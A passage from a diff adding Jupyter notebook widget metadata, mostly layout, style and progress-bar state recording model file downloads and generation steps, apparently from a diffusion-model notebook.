"_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_91f6c95c7ded4ca0a5fbf7d2f5b8eb67", + "placeholder": "​", + "style": "IPY_MODEL_4dc511c396c5492c8d707ba52783edcb", + "value": "100%" + } + }, + "8f10179341c44eb192f865feb143c57e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8f135d6a55484caf92a325c375e16005": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "901f71e702474e77be59006bba599918": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e82bcca350364e229895710e7d145fbf", + "placeholder": "​", + "style": "IPY_MODEL_be553a7df92e48b687fc177f7ba3c5fd", + "value": "100%" + } + }, + "9038138255b442b7b17885ab7f31aed1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "90443b91e1f448f78274e3157290a8e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f3f3d0fa7c164320b7f11f68a3915899", + "placeholder": "​", + "style": "IPY_MODEL_ee9c24e8b40948d398b026d30cc5cee7", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "90ddc85bb3e84773acf73b9a16b4f0be": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "916ddc4e29e448788ab4fdeb38d4a217": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4d91d312e2ff43509652ce52d7d999d3", + "placeholder": "​", + "style": "IPY_MODEL_3808c4765a054dd0a2771050871177a4", + "value": "100%" + } + }, + "91b59a00a5214cd7af5fad47ce24e756": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_90443b91e1f448f78274e3157290a8e0", + "IPY_MODEL_6be67e6518ea45a0b14a24c79b947617", + "IPY_MODEL_4cbd69647642484f9058b10156001882" + ], + "layout": "IPY_MODEL_1b8ccf560cce482caf4d08a3ed02f0fe" + } + }, + "91f6c95c7ded4ca0a5fbf7d2f5b8eb67": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "925594a07eba4bdc92e59ef1df5ea63e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e25cb8e08bae4c56a84874cf31cd84c4", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_92d4de954f0442778144c26caae5ee83", + "value": 20 + } + }, + "92d0bc42d43c46b2a720ee96e7353232": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "92d4de954f0442778144c26caae5ee83": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "932741fa7e674b6595866eecaf746bc9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "93b5852ebf584c3e95ca3275b2c9b698": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "94b45bc6f5e24cf3aa16f431bc7ed58a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1855195ecd9a4ba993c2a4e298d21a44", + "placeholder": "​", + "style": "IPY_MODEL_03098089aa0d4e879c1f50cce8384a4e", + "value": "100%" + } + }, + "94b5651c5cd14901ac59ce22bb80fcfa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "95a784af30bd4bde911e0ee76e343e72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "95adb39e73614c96af18ccb2468d5b37": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "9604b8f7a8ef4fa6b488ee1892e138d2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "960b8d20472f40078fc9566abc065cc1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "96127d57c04f45fd91dab7aa30607e63": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc2730d310454290aedf3e63087213f5", + "placeholder": "​", + "style": "IPY_MODEL_ec3c6adaf7ed44469ac0a58490dd5159", + "value": "100%" + } + }, + "9887290953b6414eacb4396a5b240a2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "990b53f96b66496bb27edb5c1ea012bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a91880b909e4b05bf668c410f978ca2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9bc9af26c0bd4a2889ebff1c5cc14dc4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_405d6f07be5743be8ea10f7e2d4ee73d", + "IPY_MODEL_06e488fd0cbb44a79328b0c88392b650", + "IPY_MODEL_8779a1cb87f6461a9a152ece606fa948" + ], + "layout": "IPY_MODEL_b897a3bfccf040548ccf16ef62315d5f" + } + }, + "9c621a99b504459590a39098afbe5d50": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5c825455d85948b99f86b3495de63b29", + "placeholder": "​", + "style": "IPY_MODEL_516f366ed73b4ed0991a6a91fb22a3d8", + "value": "100%" + } + }, + "9d28ea1de5494de5b911c1f120185b7a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9d6a05a53dd24fac9e093e0b278e3381": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d3e78f87ec5c4c3e9e1efafefadea3bd", + "placeholder": "​", + "style": "IPY_MODEL_8214d94c9de5436a9ed42367af453491", + "value": "Downloading (…)cd8e/vae/config.json: 100%" + } + }, + "9dc480c24e9844599de9f1e5e3638f33": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9dec2df865ed4e8399c511f504e460f7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_04835e754bc84aa392f824e387a8b205", + "max": 100, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_dffbab23b4c34df9b6f9e8ff6c1a1912", + "value": 100 + } + }, + "9e6fae549ea447e89a0ab36ba19e5fab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9eb63a9230ba472d87cf106e8abb5dff": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8811223ffe8547e99b837842150396f4", + "placeholder": "​", + "style": "IPY_MODEL_4e55fede968943718a3c10962f5f708b", + "value": " 3.44G/3.44G [00:47<00:00, 71.8MB/s]" + } + }, + "9f75675721ae47eb99c80fedb78ea2b7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a109094931b742ee9f4376e54d62660c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2c4ab41623ca4ce3961c8a105536ecdf", + "max": 100, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_36cb537e89324f54b767df1e24045108", + "value": 100 + } + }, + "a401d37863744fd58fe863b27d6a562b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a464d6a9bc374081a75ad8a0514c869a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a613c20dd06d4754b7a890d802476395": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a66a0a813bc24011a91f56778e88244e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a726d364296442e196e973e575578c30": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a76fd8c2c78546a8a4cb5446c7b57505": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9d6a05a53dd24fac9e093e0b278e3381", + "IPY_MODEL_c9dd35af3a2449f7b2b7be3915b01a70", + "IPY_MODEL_b40740317d3a4116a5b141ad4b6cf6ed" + ], + "layout": "IPY_MODEL_8babbe3e6d994cbeaa63e70192e858a4" + } + }, + "a8983f58e5c44385864ba164e3d00083": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1d631802aab44912a6097e97d2675102", + "placeholder": "​", + "style": "IPY_MODEL_c772f5d3ffca49a2a4c0d16a4469105c", + "value": " 335M/335M [00:05<00:00, 68.1MB/s]" + } + }, + "a9d50ec01c8045af902bf580e92ab30c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_92d0bc42d43c46b2a720ee96e7353232", + "placeholder": "​", + "style": "IPY_MODEL_641c3e365227455c87baeb3597c44cde", + "value": " 20/20 [00:02<00:00, 9.26it/s]" + } + }, + "aa75dd567b114609a3f47591a002709c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_532e652d4d5245c8b7579c4fda4217c3", + "max": 20, + "min": 